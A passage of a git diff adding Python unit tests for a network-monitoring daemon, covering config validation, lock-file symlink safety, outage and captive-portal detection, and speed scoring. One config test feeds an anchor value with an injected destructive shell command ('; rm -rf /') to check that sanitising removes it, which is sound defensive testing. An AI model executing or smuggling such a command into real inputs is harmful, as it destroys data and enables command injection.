os.symlink("/proc/self/stat", self.lock) + self.assertEqual(self.cli.cmd_peak(None), 1) + self.assertEqual(self.killed, []) + + def test_missing_lock_file_is_not_a_daemon(self): + self.assertEqual(self.cli.cmd_peak(None), 1) + self.assertEqual(self.killed, []) + + +if __name__ == "__main__": + unittest.main() diff --git a/plugins/io.github.x3me.nexthop/test/test_daemon.py b/plugins/io.github.x3me.nexthop/test/test_daemon.py new file mode 100644 index 0000000..e55e49a --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/test_daemon.py @@ -0,0 +1,1215 @@ +"""Tests for daemon.py — config, the leg watches and arbiters, captive detection, the loop's helpers. + +Run: python3 -m unittest discover -s test +""" + +import os +import sys +import tempfile +import time +import unittest +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + +from nexthopd import daemon as daemon_mod # noqa: E402 +from nexthopd import score # noqa: E402 +from nexthopd.daemon import ( # noqa: E402 + CHECK_DEFER_MAX_S, + CHECK_SETTLE_S, + DISRUPTION_AFTER_S, + LEG_STALE_S, + MIN_PLAUSIBLE_INFLATION, + NOTIFY_AFTER_S, + OUTAGE_AFTER_S, + PEAK_FRESH_S, + CaptiveWatch, + Config, + Daemon, + LOAD_FLOOR_BPS, + LegState, + LegWatch, + LocalEventArbiter, + WanEventArbiter, + check_ready, + leg_state) +from nexthopd.net import trace_verdict # noqa: E402 +from nexthopd.store import Store # noqa: E402 +from support import REPO, run_now, FakeStore, _FakeDaemonForDisruption # noqa: E402 + + +class ConfigValidation(unittest.TestCase): + def make(self, payload): + d = tempfile.TemporaryDirectory() + self.addCleanup(d.cleanup) + cfg = Config(Path(d.name)) + cfg.path.write_text(payload) + cfg.refresh() + return cfg + + def test_out_of_range_values_fall_back_to_defaults(self): + cfg = self.make('{"throughputWindowS": 999999999, "probeIntervalMs": 1,' + ' "historyDays": -5}') + self.assertEqual(cfg["throughputWindowS"], 3) + self.assertEqual(cfg["probeIntervalMs"], 500) + self.assertEqual(cfg["historyDays"], 7) + + def test_wrong_types_rejected(self): + cfg = self.make('{"probeIntervalMs": "500", "contentSpeed": "yes",' + ' "peakEngine": "evil"}') + self.assertEqual(cfg["probeIntervalMs"], 500) + self.assertEqual(cfg["contentSpeed"], True) + self.assertEqual(cfg["peakEngine"], "Auto") + + def test_anchor_charset_enforced(self): + cfg = self.make('{"internetAnchor": "1.1.1.1; rm -rf /"}') + self.assertEqual(cfg["internetAnchor"], "1.1.1.1") + cfg2 = self.make('{"internetAnchor": "ping.example-host.net"}') + self.assertEqual(cfg2["internetAnchor"], "ping.example-host.net") + + def test_oversized_file_ignored(self): + cfg = self.make('{"historyDays": 30, "pad": "' + 'x' * (70 * 1024) + '"}') + self.assertEqual(cfg["historyDays"], 7) + + def test_valid_values_accepted(self): + cfg = self.make('{"throughputWindowS": 10, "planDownMbps": 450}') + self.assertEqual(cfg["throughputWindowS"], 10) + self.assertEqual(cfg["planDownMbps"], 450) + + +class FdSafety(unittest.TestCase): + def test_config_symlink_refused(self): + with tempfile.TemporaryDirectory() as d: + target = Path(d) / "target.json" + target.write_text('{"historyDays": 30}') + cfg = Config(Path(d) / "sub") + cfg.path.parent.mkdir() + cfg.path.symlink_to(target) + cfg.refresh() + # A symlinked config is refused outright (O_NOFOLLOW). + self.assertEqual(cfg["historyDays"], 7) + + def test_config_bound_is_on_the_read(self): + with tempfile.TemporaryDirectory() as d: + cfg = Config(Path(d)) + cfg.path.write_text('{"pad": "' + 'x' * (70 * 1024) + + '", "historyDays": 30}') + cfg.refresh() + self.assertEqual(cfg["historyDays"], 7) + + def test_lock_symlink_never_truncates_target(self): + import os as _os + from nexthopd.daemon import Daemon + with tempfile.TemporaryDirectory() as d: + victim = Path(d) / "victim" + victim.write_text("precious data that must survive") + _os.environ["XDG_STATE_HOME"] = d + try: + state = Path(d) / "nexthop" + state.mkdir() + (state / "nexthopd.lock").symlink_to(victim) + daemon = Daemon() + try: + self.assertFalse(daemon.acquire_lock()) + finally: + daemon.store.close() + finally: + del _os.environ["XDG_STATE_HOME"] + self.assertEqual(victim.read_text(), + "precious data that must survive") + + +class WanArbitration(unittest.TestCase): + """Eight lost pings say the anchor went quiet; only both probes + failing say the internet did.""" + + def setUp(self): + self.dir = tempfile.TemporaryDirectory() + self.store = Store(Path(self.dir.name) / "t.db") + self.notices = [] + self.arb = WanEventArbiter( + self.store, lambda *a, **k: self.notices.append(a)) + + def tearDown(self): + self.store.close() + self.dir.cleanup() + + def test_quiet_when_another_instrument_still_answers(self): + t = time.time() + self.arb.down(t, beyond_ok=True) + self.assertFalse(self.arb.real_outage) + self.assertEqual(self.notices, []) # the user's internet works + self.arb.up(t + 30) + evs = self.store.events() + self.assertEqual([e["kind"] for e in evs], ["icmp-quiet"]) + self.assertIsNotNone(evs[0]["ended_ts"]) + self.assertEqual(self.notices, []) + + def test_outage_when_every_instrument_fails(self): + t = time.time() + self.arb.down(t, beyond_ok=False) + self.assertTrue(self.arb.real_outage) + # Logged at once; alarmed only once it has lasted — an outage the + # user could do nothing about should not interrupt them. + self.assertEqual(self.notices, []) + self.arb.tick(t + NOTIFY_AFTER_S + 0.1, beyond_ok=False) + self.assertEqual(len(self.notices), 1) + self.arb.up(t + 30) + self.assertEqual([e["kind"] for e in self.store.events()], ["outage"]) + self.assertEqual(len(self.notices), 2) # down + recovered + + def test_a_brief_outage_is_logged_and_never_alarms(self): + t = time.time() + self.arb.down(t, beyond_ok=False) + self.arb.tick(t + 1, beyond_ok=False) + self.arb.up(t + 2) # healed inside the window + self.assertEqual(self.notices, []) # neither alarm nor recovery + self.assertEqual([e["kind"] for e in self.store.events()], ["outage"]) + + def test_the_alarm_fires_once_not_every_tick(self): + t = time.time() + self.arb.down(t, beyond_ok=False) + for i in range(10): + self.arb.tick(t + NOTIFY_AFTER_S + i, beyond_ok=False) + self.assertEqual(len(self.notices), 1) + + def test_escalates_one_way_when_the_rest_stop_too(self): + t = time.time() + self.arb.down(t, beyond_ok=True) + self.arb.tick(t + 2, beyond_ok=True) # still quiet, still no alarm + self.assertEqual(self.notices, []) + self.arb.tick(t + 5, beyond_ok=False) # now it is an outage + self.assertTrue(self.arb.real_outage) + self.assertEqual(self.notices, []) # still inside the delay + self.arb.tick(t + 5 + NOTIFY_AFTER_S + 0.1, beyond_ok=False) + self.assertEqual(len(self.notices), 1) + self.arb.up(t + 60) + evs = self.store.events() + self.assertEqual(sorted(e["kind"] for e in evs), + ["icmp-quiet", "outage"]) + for e in evs: + self.assertIsNotNone(e["ended_ts"]) + + def test_quiet_never_charges_reliability(self): + t = time.time() + self.arb.down(t, beyond_ok=True) + self.arb.up(t + 600) + self.assertEqual(self.store.outage_stats(3600, now=t + 700), + (0.0, 0, 0.0)) + + +class LocalArbitration(unittest.TestCase): + """A gateway that refuses pings is not a gateway that is unreachable. + + This is the hotel case: every local ping lost, ROUTER UNREACHABLE on + screen, and the machine online the whole time. + """ + + def setUp(self): + self.store = FakeStore() + self.notes = [] + self.arb = LocalEventArbiter( + self.store, lambda *a, **k: self.notes.append(a)) + + def test_silent_gateway_with_traffic_crossing_it_is_not_an_outage(self): + self.arb.down(100.0, beyond_ok=True) + self.assertEqual(self.arb.kind, "gateway-quiet") + self.assertFalse(self.arb.real_outage) + kind, sev, leg, _ = self.store.opened[0] + self.assertEqual((kind, sev, leg), ("gateway-quiet", "warn", "local")) + # Warn-toned and unnotified: the user experienced nothing. + self.assertEqual(self.notes, []) + + def test_nothing_answering_anywhere_is_a_real_outage(self): + self.arb.down(100.0, beyond_ok=False) + self.assertEqual(self.arb.kind, "outage") + self.assertTrue(self.arb.real_outage) + self.assertEqual(self.store.opened[0][0:3], + ("outage", "critical", "local")) + # Logged at once, alarmed only after NOTIFY_AFTER_S. + self.assertEqual(self.notes, []) + self.arb.tick(100.0 + NOTIFY_AFTER_S + 0.1, beyond_ok=False) + self.assertEqual(len(self.notes), 1) + + def test_escalation_is_one_way(self): + self.arb.down(100.0, beyond_ok=True) + # The far side goes quiet too: an outage starting mid-spell must alarm. + self.arb.tick(110.0, beyond_ok=False) + self.assertTrue(self.arb.real_outage) + self.assertEqual(self.notes, []) # inside the alarm delay + self.arb.tick(110.0 + NOTIFY_AFTER_S + 0.1, beyond_ok=False) + self.assertEqual(len(self.notes), 1) + # Nothing walks it back down again — flapping teaches people to + # ignore both verdicts. + self.arb.tick(140.0, beyond_ok=True) + self.assertTrue(self.arb.real_outage) + + def test_recovery_only_notifies_for_a_real_outage(self): + self.arb.down(100.0, beyond_ok=True) + self.arb.up(130.0) + self.assertEqual(self.notes, []) + self.assertIsNone(self.arb.kind) + self.arb.down(200.0, beyond_ok=False) + self.arb.tick(200.0 + NOTIFY_AFTER_S + 0.1, beyond_ok=False) + self.arb.up(230.0) + self.assertEqual(len(self.notes), 2) # down + recovered + + +class CaptiveDetection(unittest.TestCase): + """Replies prove a packet came back, not what sent it.""" + + def test_trace_verdicts(self): + self.assertEqual(trace_verdict("fl=1\nip=103.87.1.2\nts=2"), "open") + # A portal answering with its sign-in page. + self.assertEqual(trace_verdict("Please sign in"), + "intercepted") + self.assertEqual(trace_verdict("ip=not-an-address"), "intercepted") + # Nothing came back at all, which is a different thing. + self.assertEqual(trace_verdict(""), "silent") + self.assertEqual(trace_verdict(None), "silent") + + def test_needs_both_halves_of_the_evidence(self): + c = CaptiveWatch.captive + # Replies but no proof of internet, confirmed: that is a portal. + self.assertTrue(c("intercepted", True, 2)) + self.assertTrue(c("silent", True, 2)) + # Proof of internet: never captive, however many strikes. + self.assertFalse(c("open", True, 9)) + # Nothing answering at all is an outage, not a sign-in page — a + # portal prompt in front of a dead line would be worse than silence. + self.assertFalse(c("intercepted", False, 9)) + # One failed fetch is a failed fetch. + self.assertFalse(c("intercepted", True, 1)) + + def test_confirms_on_the_second_check_and_clears_on_proof(self): + answers = ["intercepted", "intercepted", "open"] + calls = [] + + def check(): + v = answers[min(len(calls), len(answers) - 1)] + calls.append(v) + return {"verdict": v, "proof": None} + + w = CaptiveWatch(check, spawn=run_now) + w.tick(1000.0, probes_answering=True) + self.assertFalse(w.confirmed) # one strike + w.tick(1000.0 + 31, probes_answering=True) + self.assertTrue(w.confirmed) + self.assertTrue(w.snapshot()["captive"]) + # Proof of the real internet retracts it immediately. + w.tick(1000.0 + 62, probes_answering=True) + self.assertFalse(w.confirmed) + self.assertEqual(w.verdict, "open") + + def test_rate_limited_between_checks(self): + calls = [] + + def check(): + calls.append(1) + return {"verdict": "intercepted", "proof": None} + + w = CaptiveWatch(check, spawn=run_now) + w.tick(1000.0, True) + w.tick(1001.0, True) + w.tick(1029.0, True) + self.assertEqual(len(calls), 1) # 30 s floor holds + w.tick(1031.0, True) + self.assertEqual(len(calls), 2) + + def test_suspicion_drops_when_nothing_answers(self): + w = CaptiveWatch(lambda: {"verdict": "intercepted", "proof": None}, + spawn=run_now) + w.tick(1000.0, True) + w.tick(1031.0, True) + self.assertTrue(w.confirmed) + # The line goes down for real: hand it to the outage path. + w.tick(1062.0, probes_answering=False) + self.assertFalse(w.confirmed) + self.assertEqual(w.strikes, 0) + + def test_publishes_nothing_before_it_knows_anything(self): + w = CaptiveWatch(lambda: {"verdict": "open", "proof": None}, + spawn=run_now) + self.assertIsNone(w.snapshot()) + + +class CaptiveCheckOffTheLoop(unittest.TestCase): + """The reachability curl must never stall the 2 Hz loop, and it runs on + suspicion rather than on a clock. Until 0.2.13 it did both wrong.""" + + OPEN = {"verdict": "open", "proof": {"ip": "203.0.113.9", "family": "v4"}} + + def test_tick_returns_before_a_slow_check_finishes(self): + import threading + release, done = threading.Event(), threading.Event() + + def slow_check(): + release.wait(5) + done.set() + return dict(self.OPEN) + + w = CaptiveWatch(slow_check) # the real thread spawn + t0 = time.monotonic() + w.tick(1000.0, True) + self.assertLess(time.monotonic() - t0, 0.5) + self.assertEqual(w.verdict, "unknown") # nothing has landed yet + release.set() + self.assertTrue(done.wait(5)) + for _ in range(100): # a later tick collects it + w.tick(1000.5, True) + if w.verdict != "unknown": + break + time.sleep(0.01) + self.assertEqual(w.verdict, "open") + self.assertEqual(w.proof["ip"], "203.0.113.9") + + def test_proof_of_internet_backs_off_to_hourly(self): + calls = [] + + def check(): + calls.append(1) + return dict(self.OPEN) + + w = CaptiveWatch(check, spawn=run_now) + w.tick(1000.0, True) + for t in (1031.0, 1600.0, 4599.0): + w.tick(t, True) + self.assertEqual(len(calls), 1) # not the old 30 s clock + w.tick(1000.0 + CaptiveWatch.RECHECK_OPEN_S, True) + self.assertEqual(len(calls), 2) + + def test_request_starts_over_and_drops_a_stale_answer(self): + held = [] + w = CaptiveWatch(lambda: dict(self.OPEN), spawn=held.append) + w.tick(1000.0, True) # a check for network A + self.assertEqual(len(held), 1) + w.request() # the route changed + self.assertEqual(w.verdict, "unknown") + held[0]() # A's answer arrives late + w.tick(1001.0, True) + self.assertIsNone(w.proof) # dropped, not adopted + self.assertEqual(len(held), 2) # and B is being asked + held[1]() + w.tick(1002.0, True) + self.assertEqual(w.verdict, "open") + + def test_daemon_adopts_the_address_from_the_proof_once(self): + import os as _os + from nexthopd.daemon import Daemon + with tempfile.TemporaryDirectory() as d: + _os.environ["XDG_STATE_HOME"] = d + try: + dm = Daemon() + try: + dm.captive.proof = dict(self.OPEN["proof"]) + dm.captive.checked_ts = 1234 + dm.adopt_wan_ip() + self.assertEqual(dm.wan_ip, + {"ip": "203.0.113.9", "family": "v4", + "checked_ts": 1234}) + # A later check that could not prove the internet + # leaves the last answer standing. + dm.captive.proof = None + dm.adopt_wan_ip() + self.assertEqual(dm.wan_ip["ip"], "203.0.113.9") + finally: + dm.store.close() + finally: + del _os.environ["XDG_STATE_HOME"] + + +class RouteChangeKeepsHistoryThroughAnOutage(unittest.TestCase): + """Losing the route must not discard the window that explains why.""" + + def test_no_gateway_is_an_outage_not_a_new_network(self): + import types + from nexthopd import daemon as dmod + + calls = {"reset": 0} + d = types.SimpleNamespace( + config={"internetAnchor": "1.1.1.1"}, + route={"gateway": "192.168.1.1", "iface": "wlan0"}, + probes=[], + ) + + def fake_route_to(anchor): + return fake_route_to.answer + + original = dmod.net.route_to + dmod.net.route_to = fake_route_to + try: + # Bind the real method to our stand-in object and count resets + # by watching for the attribute the reset path writes first. + def start_probes(): + calls["reset"] += 1 + d.start_probes = start_probes + d._new_instrument_series = lambda: None + d.counter_samples = [] + d.wan_ip = "x" + d._wan_ip_at = 1.0 + d._instrument_probes = {} + d.local = object() + d.probes = [] + # The reset path also asks the reachability check to start over. + d.captive = type("Captive", (), {"request": lambda self: None})() + d._rebuild_probes = lambda fresh: dmod.Daemon._rebuild_probes(d, fresh) + + # The route vanishes: no reset, history kept, probes untouched. + fake_route_to.answer = {} + dmod.Daemon.restart_probes_if_route_changed(d) + self.assertEqual(calls["reset"], 0) + self.assertEqual(d.route, {"gateway": "192.168.1.1", + "iface": "wlan0"}) + self.assertEqual(d.wan_ip, "x") + + # It comes back on the same network: still no reset. + fake_route_to.answer = {"gateway": "192.168.1.1", + "iface": "wlan0"} + dmod.Daemon.restart_probes_if_route_changed(d) + self.assertEqual(calls["reset"], 0) + + # A genuinely different network does reset, exactly once. + fake_route_to.answer = {"gateway": "10.0.0.1", "iface": "wlan0"} + dmod.Daemon.restart_probes_if_route_changed(d) + self.assertEqual(calls["reset"], 1) + self.assertIsNone(d.wan_ip) + finally: + dmod.net.route_to = original + + +class DisruptionProducer(unittest.TestCase): + """A run of losses that recovers before it becomes an outage. + + Until now nothing opened a `disruption` event, so half the reliability + formula — a half-weight on duration, a 300 s recovery charge, a 25-point + cap, all designed against real history in 0.1.10 — could never fire, and + a blip the user felt cost the score nothing. + """ + + def setUp(self): + self.dir = tempfile.TemporaryDirectory() + self.store = Store(Path(self.dir.name) / "t.db") + + def tearDown(self): + self.store.close() + self.dir.cleanup() + + def run_losses(self, n, cadence=0.5, t0=None): + """`n` lost samples at `cadence`, then a reply, with a watch tick at + each sample — which is how the default 500 ms cadence behaves.""" + t0 = time.time() if t0 is None else t0 + w = LegWatch() + moves = [] + for i in range(n): + t = t0 + i * cadence + moves.append(w.sample(LegState(False, t, t0, i + 1), t)) + t = t0 + n * cadence + moves.append(w.sample(LegState(True, t, None, 0), t)) + return w, moves + + def test_a_single_loss_is_noise(self): + w, moves = self.run_losses(1) + self.assertEqual(moves, [None, None]) + self.assertIsNone(w.blip) + + def test_below_the_threshold_stays_silent(self): + w, moves = self.run_losses(2) + self.assertIsNone(moves[-1]) + self.assertIsNone(w.blip) + + def test_three_losses_that_recover_are_a_disruption(self): + t0 = time.time() + w, moves = self.run_losses(3, t0=t0) + self.assertEqual(moves[-1], "disruption") + began, ended = w.blip + # Timed from the FIRST loss, not from the threshold being crossed: + # the interruption started when the packets started going missing. + self.assertEqual(began, t0) + # 1.5 s of silence on the stream itself: three lost probes at the + # default 500 ms, exactly DISRUPTION_AFTER_S. Until 0.2.15 a "loss" + # was an empty 3 s window, and this same blip could not register. + self.assertEqual(ended, t0 + DISRUPTION_AFTER_S) + + def test_reaching_the_outage_threshold_is_an_outage_not_a_disruption(self): + # Nine lost probes at 500 ms: the ninth lands 4.0 s after the first, + # which is OUTAGE_AFTER_S of unbroken silence. + w, moves = self.run_losses(9) + self.assertEqual(moves[8], "down") + self.assertEqual(moves[-1], "up") + self.assertIsNone(w.blip) + + def test_a_run_recovering_just_short_of_the_threshold_is_a_disruption(self): + w, moves = self.run_losses(8) # 3.5 s of silence, then a reply + self.assertNotIn("down", moves) + self.assertEqual(moves[-1], "disruption") + + def test_thresholds_are_seconds_not_ticks(self): + # The same 1.5 s blip seen by a loop ticking five times as often + # must read the same: the stream carries the time, not the tick. + t0 = 1000.0 + w = LegWatch() + for k in range(15): + t = t0 + k * 0.1 + w.sample(LegState(False, t, t0, 1 + k // 5), t) + self.assertEqual(w.sample(LegState(True, t0 + 1.5, None, 0), t0 + 1.5), + "disruption") + + def test_the_outage_starts_when_the_packets_stopped(self): + t0 = 1000.0 + w, _ = self.run_losses(9, t0=t0) + w2 = LegWatch() + for i in range(9): + t = t0 + i * 0.5 + move = w2.sample(LegState(False, t, t0, i + 1), t) + self.assertEqual(move, "down") + self.assertEqual(w2.down_since, t0) # not the tick that noticed + + def test_one_lost_probe_is_never_an_event_at_any_cadence(self): + # At a 5 s probe interval a single loss is followed by 5 s with no + # sample at all. Measured in seconds alone that would be an outage; + # two lost probes are the floor. + t0 = 1000.0 + w = LegWatch() + self.assertIsNone(w.sample(LegState(False, t0, t0, 1), t0 + 4.5)) + self.assertIsNone(w.down_since) + self.assertEqual(w.sample(LegState(False, t0 + 5.0, t0, 2), t0 + 5.0), + "down") + + def test_recorded_closed_with_a_duration_and_charged(self): + w, _ = self.run_losses(4) + d = _FakeDaemonForDisruption(self.store) + d.record_disruption("local", w, beyond_ok=False) + evs = self.store.events() + self.assertEqual([e["kind"] for e in evs], ["disruption"]) + self.assertIsNotNone(evs[0]["ended_ts"]) + # And it now actually reaches Reliability, which was the point. + frac, count, disrupted = self.store.outage_stats( + 3600, now=time.time() + 10) + self.assertEqual(count, 1) + self.assertGreater(disrupted, 0.0) + self.assertEqual(frac, 0.0) # a blip is not downtime + self.assertLess(score.reliability(frac, count, + disruption_fraction=disrupted), + 100.0) + + def test_arbitrated_like_an_outage(self): + w, _ = self.run_losses(4) + d = _FakeDaemonForDisruption(self.store) + # Something past this leg kept answering, so the leg interrupted + # nothing — a gateway dropping pings while traffic crosses it. + d.record_disruption("local", w, beyond_ok=True) + self.assertEqual(self.store.events(), []) + self.assertIsNone(w.blip) # consumed either way + + def test_never_stored_with_a_zero_span(self): + # outage_stats drops any row whose end is not after its start, so a + # blip must never round away to nothing. + base = time.time() + w = LegWatch() + w.blip = (base + 0.4, base + 0.6) + d = _FakeDaemonForDisruption(self.store) + d.record_disruption("wan", w, beyond_ok=False) + e = self.store.events()[0] + self.assertGreater(e["ended_ts"], e["ts"]) + _, count, disrupted = self.store.outage_stats(3600, now=base + 10) + self.assertEqual(count, 1) + self.assertGreater(disrupted, 0.0) + + +class InflationPlausibility(unittest.TestCase): + """Queueing can only add delay, so a ratio below 1 is not a reading.""" + + @staticmethod + def ratio(loaded, idle): + """The published value for a given pair, with the floor applied.""" + r = loaded / idle + if r < MIN_PLAUSIBLE_INFLATION: + return None + return round(max(1.0, r), 2) + + def test_the_case_seen_live_is_withheld(self): + # 0.87 was published on 716 samples per side: the sample floor + # cannot catch a wrong-direction result, only a thin one. + self.assertIsNone(self.ratio(20.3, 23.4)) + + def test_indistinguishable_reads_as_no_inflation(self): + # Within noise of 1, the honest statement is "no inflation", not + # "faster under load". + self.assertEqual(self.ratio(9.8, 10.0), 1.0) + self.assertEqual(self.ratio(10.0, 10.0), 1.0) + + def test_real_inflation_still_reported(self): + self.assertEqual(self.ratio(13.0, 10.0), 1.3) + # A badly queued link is not implausible, however large. + self.assertEqual(self.ratio(250.0, 10.0), 25.0) + + +class SettingsApplyLive(unittest.TestCase): + """The anchor and the probe interval used to be read only when probes + were built, while the Setup tab said settings apply without a restart.""" + + def setUp(self): + from nexthopd.daemon import Daemon + self.dir = tempfile.TemporaryDirectory() + os.environ["XDG_STATE_HOME"] = self.dir.name + self.d = Daemon() + self.calls = [] + self.d._rebuild_probes = lambda route: self.calls.append(("rebuild", route)) + self.d._apply_seats = lambda changes: self.calls.append(("seats", changes)) + + def tearDown(self): + self.d.store.close() + del os.environ["XDG_STATE_HOME"] + self.dir.cleanup() + + def test_nothing_happens_before_probes_exist(self): + self.d.config.values["probeIntervalMs"] = 1000 + self.d.restart_probes_if_settings_changed() + self.assertEqual(self.calls, []) + + def test_interval_change_moves_the_cadence_in_place(self): + class Probe: + interval = None + + def set_interval(self, v): + self.interval = v + + anchor = self.d.config["internetAnchor"] + self.d._probe_settings = (anchor, 500) + self.d._local_probe = Probe() + self.d.config.values["probeIntervalMs"] = 1000 + self.d.restart_probes_if_settings_changed() + self.assertEqual(self.d._local_probe.interval, 1.0) + self.assertEqual([c[0] for c in self.calls], ["seats"]) + self.assertEqual(self.d._probe_settings, (anchor, 1000)) + # Applied once, not on every tick. + self.d.restart_probes_if_settings_changed() + self.assertEqual(len(self.calls), 1) + + def test_anchor_change_rebuilds_the_probes(self): + import nexthopd.daemon as dmod + self.d._probe_settings = (self.d.config["internetAnchor"], 500) + real = dmod.net.route_to + dmod.net.route_to = lambda a: {"gateway": "192.0.2.1", "iface": "x"} + try: + self.d.config.values["internetAnchor"] = "9.9.9.9" + self.d.restart_probes_if_settings_changed() + finally: + dmod.net.route_to = real + self.assertEqual(self.calls, [("rebuild", {"gateway": "192.0.2.1", + "iface": "x"})]) + + +class LegStateReading(unittest.TestCase): + """leg_state() turns a probe stream into what the outage watch consumes: + is the newest sample a reply, and if not, since when has it been quiet.""" + + def test_empty_and_stale_streams_are_unknown_not_outages(self): + now = 1000.0 + self.assertIsNone(leg_state([], now)) + # The probe stopped talking: ping -O keeps emitting losses through + # a real outage, so a silent stream is a dead probe, not a dead line. + self.assertIsNone(leg_state([(now - LEG_STALE_S - 1, None, False)], now)) + + def test_a_reply_at_the_head_is_ok(self): + now = 1000.0 + st = leg_state([(now - 1.0, None, False), (now - 0.5, 8.0, False)], now) + self.assertTrue(st.ok) + self.assertEqual(st.lost, 0) + self.assertIsNone(st.run_since) + + def test_the_trailing_run_is_measured_from_its_first_loss(self): + now = 1000.0 + samples = [(now - 3.0, 7.0, False), (now - 2.5, None, False), + (now - 2.0, None, False), (now - 1.5, None, False), + (now - 1.0, None, False)] + st = leg_state(samples, now) + self.assertFalse(st.ok) + self.assertEqual(st.run_since, now - 2.5) + self.assertEqual(st.lost, 4) + self.assertEqual(st.ts, now - 1.0) + + def test_a_merged_stream_ends_the_run_on_any_instruments_reply(self): + # ICMP at 2 Hz losing everything while the TCP instrument answers: + # the newest sample decides, whichever instrument produced it. + now = 1000.0 + merged = sorted([(now - 1.5, None, False), (now - 1.0, None, False), + (now - 0.5, None, False), # icmp + (now - 0.2, 21.0, False)], # tcp, replied + key=lambda s: s[0]) + self.assertTrue(leg_state(merged, now).ok) + + def test_a_two_second_blip_is_now_seen_end_to_end(self): + # The case the old any-reply window could not register at all. + t0 = 1000.0 + w = LegWatch() + stream = [(t0 - 0.5, 6.0, False)] + move = None + for k in range(4): # 4 losses over 1.5 s + stream.append((t0 + k * 0.5, None, False)) + move = w.sample(leg_state(stream, t0 + k * 0.5), t0 + k * 0.5) + self.assertIsNone(move) + stream.append((t0 + 2.0, 6.5, False)) + move = w.sample(leg_state(stream, t0 + 2.0), t0 + 2.0) + self.assertEqual(move, "disruption") + self.assertEqual(w.blip, (t0, t0 + 2.0)) + + def test_outage_rows_start_when_the_silence_began(self): + # The arbiters take the run's start, so the stored row carries the + # true onset rather than the tick that crossed the threshold. + with tempfile.TemporaryDirectory() as d: + store = Store(Path(d) / "t.db") + try: + now = time.time() + WanEventArbiter(store, lambda *a, **k: None).down( + now, False, since=now - OUTAGE_AFTER_S) + LocalEventArbiter(store, lambda *a, **k: None).down( + now, True, since=now - OUTAGE_AFTER_S) + rows = {e["kind"]: e["ts"] for e in store.events()} + self.assertEqual(rows["outage"], int(now - OUTAGE_AFTER_S)) + self.assertEqual(rows["gateway-quiet"], int(now - OUTAGE_AFTER_S)) + finally: + store.close() + + +class ContentCheckReadiness(unittest.TestCase): + """A link that has just associated is not the line yet. + + The case this is built from: a check 55 s after associating read + 63 Mbps on a 380 Mbps line, taken on 2.4 GHz at a 16 Mbps tx rate, + nine minutes before the link moved itself to 5 GHz. + """ + + def test_a_fresh_association_waits(self): + now = 1000.0 + self.assertFalse(check_ready(now, now - 5, None, None)) + self.assertFalse(check_ready(now, now - CHECK_SETTLE_S + 1, None, None)) + + def test_a_settled_association_is_ready(self): + now = 1000.0 + self.assertTrue(check_ready(now, now - CHECK_SETTLE_S, None, None)) + + def test_a_link_with_its_rate_down_waits(self): + # The same signal that opens a rate-drop event. + now = 1000.0 + self.assertFalse(check_ready(now, now - 600, now - 3, None)) + + def test_a_wired_link_is_always_ready(self): + # No association and no rate tracking: nothing to wait for. + self.assertTrue(check_ready(1000.0, None, None, None)) + + def test_the_deferral_is_capped_so_a_slow_link_still_scores(self): + now = 1000.0 + waiting = now - CHECK_DEFER_MAX_S + # Still associating, still rate-limited, but we have waited long + # enough: an honest low number beats no number for ever. + self.assertTrue(check_ready(now, now - 1, now - 1, waiting)) + self.assertFalse(check_ready(now, now - 1, now - 1, now - 5)) + + +class SpeedTrustEndToEnd(unittest.TestCase): + """The same thing through speed_score, where the samples come from the + store and the peak has to be matched to this network.""" + + NET = "x3me" + + def setUp(self): + from nexthopd.daemon import Daemon + self.dir = tempfile.TemporaryDirectory() + os.environ["XDG_STATE_HOME"] = self.dir.name + self.d = Daemon() + self.now = time.time() + + def tearDown(self): + self.d.store.close() + del os.environ["XDG_STATE_HOME"] + self.dir.cleanup() + + def content(self, down, ago, network=None): + self.d.store.put_test(int(self.now - ago), "content", "cloudflare", + down_mbps=down, up_mbps=10.0, ok=True, + network=self.NET if network is None else network) + + def peak(self, down, ago, network=None): + self.d.store.put_test(int(self.now - ago), "peak", "cloudflare", + down_mbps=down, up_mbps=50.0, ok=True, + network=self.NET if network is None else network) + + def test_the_arrival_check_alone_is_reported_but_not_counted(self): + self.content(63.4, 300) + spd, ctx = self.d.speed_score(self.now, self.NET) + self.assertIsNotNone(spd) # still shown + self.assertEqual(ctx["samples"], 1) + self.assertFalse(ctx["scored"]) # but not the headline + + def test_a_second_check_makes_it_count(self): + self.content(63.4, 300) + self.content(380.0, 60) + spd, ctx = self.d.speed_score(self.now, self.NET) + self.assertTrue(ctx["scored"]) + # Median of two takes the higher, so one clean check recovers it. + self.assertEqual(ctx["last_down"], 380.0) + + def test_a_fresh_peak_here_withdraws_a_contradicted_figure(self): + self.content(63.4, 900) + self.content(70.0, 300) + self.peak(251.4, 120) + spd, ctx = self.d.speed_score(self.now, self.NET) + self.assertEqual(ctx["peak_down"], 251.4) + self.assertFalse(ctx["scored"]) + + def test_a_peak_from_another_network_says_nothing_about_this_one(self): + self.content(63.4, 900) + self.content(70.0, 300) + self.peak(251.4, 120, network="SomeHotel") + _, ctx = self.d.speed_score(self.now, self.NET) + self.assertIsNone(ctx["peak_down"]) + self.assertTrue(ctx["scored"]) + + def test_a_stale_peak_no_longer_speaks_for_the_line(self): + self.content(63.4, 900) + self.content(70.0, 300) + self.peak(251.4, PEAK_FRESH_S + 60) + _, ctx = self.d.speed_score(self.now, self.NET) + self.assertIsNone(ctx["peak_down"]) + self.assertTrue(ctx["scored"]) + + +class AnchorSetting(unittest.TestCase): + def test_a_leading_dash_is_not_an_anchor(self): + check = Config.SCHEMA["internetAnchor"][1] + for bad in ("-1.1.1.1", "--help", "-", "-x.example", ".x", ""): + self.assertIsNone(check(bad), bad) + for ok in ("1.1.1.1", "::1", "2606:4700:4700::1111", "dns.google", "a"): + self.assertEqual(check(ok), ok) + + +class BandwidthTestsTakeTurns(unittest.TestCase): + def test_one_test_at_a_time(self): + import types + from nexthopd.daemon import Daemon + + def idle(peak, content): + return Daemon.tests_idle(types.SimpleNamespace( + peak_running=peak, content_running=content)) + + self.assertTrue(idle(False, False)) + self.assertFalse(idle(True, False)) + self.assertFalse(idle(False, True)) + + +class LinkOffTheLoop(unittest.TestCase): + """The local-end snapshot is three subprocesses with 2 s timeouts each; + the loop reads the collector's latest dict and never waits for them.""" + + def test_reading_never_waits_for_a_slow_snapshot(self): + import threading + from nexthopd.daemon import LinkCollector + calls = [] + gate = threading.Event() + + def slow(anchor): + calls.append(anchor) + if len(calls) > 1: + gate.wait(5.0) # the second read hangs like a wedged iw + return {"iface": "wlo1", "kind": "wifi", "n": len(calls), + "station": 